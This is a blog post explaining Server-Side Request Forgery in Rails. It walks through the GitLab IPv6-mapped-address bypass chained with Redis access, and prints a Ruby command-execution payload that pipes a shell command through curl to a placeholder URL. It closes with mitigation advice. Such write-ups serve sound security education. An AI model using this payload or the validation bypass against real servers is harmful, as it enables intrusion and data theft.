Server-Side Request Forgery in Rails

18 Jan 2023

What is Server-Side Request Forgery (SSRF), and why is it a concern for web security?

Server-Side Request Forgery is a type of web security vulnerability that allows an attacker to send malicious requests from a vulnerable server to internal or external resources. The attacker can use this vulnerability to access restricted resources, steal sensitive information, and launch further attacks. It can also be used to bypass firewalls and security controls and can be exploited to carry out a wide range of attacks, including data exfiltration, unauthorized access, and service disruption.

Some of the most common types of attacks that can be carried out using SSRF include:

  • Data exfiltration: An attacker can use SSRF to send requests to internal resources, such as databases and file servers, to extract sensitive information. This information might include customer data, financial information, and other confidential data.
  • Unauthorized access: An attacker can use SSRF to access internal resources that are not intended to be accessible from the internet, such as administrative interfaces and internal networks. This can allow the attacker to gain unauthorized access to sensitive data.
  • Service disruption: Bypassing firewalls, an attacker can use SSRF to send a large number of requests to a targeted resource, such as a web server or database, to overload the system and cause a denial of service. This can lead to significant downtime and data loss.
  • Remote Command Execution: An attacker can use SSRF to make requests to internal resources that allow command injection. This way attacker can execute arbitrary code on the server.

It’s also worth noting that an attacker can chain multiple SSRF vulnerabilities to achieve a more severe attack, these combinations of attacks can be used for the escalation of privileges or to move laterally within a network. This is called SSRF-Chain, I will show you a real-world example of such a vulnerability below.

How SSRF works?

A Server-Side Request Forgery attack happens when an attacker can inject a malicious URL or payload into a vulnerable application. The application then sends a request to the specified resource, which can be an internal or external one, using the server’s network connection.

If the resource is internal, the target receives this request and forwards it to the inernal resource, which processes it like this request was coming from the internal network, potentially bypassing firewall rules or even authentication restrictions.

SSRF Internal

If the resource is an external one, controlled by the attacker the request can disclose information to the attacker about the server(i.e.: IP address).

SSRF External

Let’s see an example. Imagine a Rails marketplace app for websites. A user can upload screenshots or tick a box to make a screenshot based on the URL. The application uses Cloudflare to prevent Denial of Service(DoS) attacks and for a Web-Application Firewall, so the IP address of the application can’t be found in the DNS records. But the application uses the same host to make requests to the sites to get the screenshot, so an attacker can simply enter the URL of a site he controls, and when the request is sent, he can find out the actual IP of the application from the logs of his site.

Another example would be an application allowing users to specify a URL to fetch content. An attacker could manipulate the input to send a malicious URL that points to an internal Redis database, with a payload to extract data from it. Newer versions of Redis prevent this by aliasing the HTTP Header HOST and POST to QUIT.

Now let’s see a real-world example in a Rails application.

Gitlab uses an UrlBlocker class to prevent malicious users from exploiting SSRF via the webhook URL. This class validates the URL and blocks everything which is a local network, but before the 11.5.1 version, they didn’t think about an IPv6 format, which maps to IPv4: [0:0:0:0:0:ffff:127.0.0.1]. Replacing the part of 127.0.0.1 to any IP address also worked, and this vulnerability made it possible to send requests to the internal network of a GitLab instance. You can read the issue report here: (https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242 )[https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242]

Chaining the above vulnerability with another one, which allowed line breaks in the webhook URL, made it possible to reach remote-code execution. The line breaks made it possible to connect to Redis. The researcher who found this dug into the workers and found GitlabShellWorker with this method:

def perform(action, *arg)
  gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end

As you can see, this job passes the arguments to __send__, so a payload like the one below, run with class_eval, would make it possible to execute code on the server:

open('| curl <URL HERE>').read

A potential attacker could use curl/wget or whatever is installed on the server to exfiltrate useful information about the host and could find a way to open a remote shell to his machine. You can read more and see an exploit for this issue on GitHub: https://github.com/CS4239-U6/gitlab-ssrf

It’s important to note that SSRF attacks can be challenging to detect since they often involve legitimate requests being sent to internal or external resources. This makes it important to implement security controls and monitoring to detect and prevent SSRF attacks.

Prevention and mitigation

Discuss best practices for preventing SSRF attacks, including input validation, access controls, and network segmentation

Since it isn’t a generic attack, Rails has no built-in protection against SSRF. Preventing it requires a multi-layered approach:

  • It’s important to validate all user-supplied input and sanitize it before using it for outgoing requests. This can help to prevent attackers from injecting malicious URLs or payloads into the input. Enforce controls with a white-list

  • Do not send raw responses to clients. This makes data exfiltration more difficult

  • Implement firewall policies or network access control rules that block all traffic by default, only allowing essential intranet traffic through.

  • Use network segmentation for functionality accessing remote resources.

  • Monitor your logs for suspicious activities, like requests to internal resources or unexpected responses from internal resources.

Conclusion

SSRF is often underrated, but as you can see from the GitLab example, chaining it with another vulnerability can lead to serious issues.

References

Job listings

Post a Job!

Did you enjoy reading this? Follow me on Twitter or sign up to my newsletter for more content like this!

I run an indie startup providing vulnerability scanning for your Ruby on Rails app.

It is free to use at the moment, and I am grateful for any feedback about it.
If you would like to give it a spin, you can do it here: Vulnerability Scanning for your Ruby on Rails app!

Related posts